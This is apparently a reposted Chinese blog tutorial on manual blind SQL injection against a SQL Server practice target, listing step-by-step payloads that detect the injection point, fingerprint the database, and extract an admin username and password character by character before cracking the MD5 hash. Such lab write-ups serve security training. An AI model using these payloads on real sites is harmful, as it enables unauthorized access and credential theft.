【Web】SQL手工注入Sql Server数据库 (漏洞测试)

            【Web】SQL手工注入Sql Server数据库 (漏洞测试)


第一步:判断是否有注入,?id=2 and 1=1   正确;id=2 and 1=2  错误,得出有注入点。
第二步:判断数据库类型:?id=2  and  exists (select  *  from  sysobjects) 显示正常, 表示是ms sql server数据库。

第三步:sqlmap,扫一遍,找到数据库、数据表、字段名, 发现dump后出现null值,于是开始手工注入。

第四步:爆出用户名:

地址栏后面加上

?id=2 and unicode(substring((select username from [mozhe_db_v2]..[manage] where id=1),1,1)) between 98 and 128  页面出错

?id=2 and unicode(substring((select username from [mozhe_db_v2]..[manage] where id=1),1,1)) between 97 and 128  页面正常,说明username第一个字符为a,以此类推

第五步:考虑密码

and exists(select id from manage where len(password)=16 and ID=1)   页面正常,说明密码长度为16字符,

然后凑ascii:

?id=2 and exists (select id from manage where unicode(substring(password,1,1))=55 and ID=1)

最后:密码md5解密 一下。

猜你喜欢

转载自blog.csdn.net/u014549283/article/details/81283250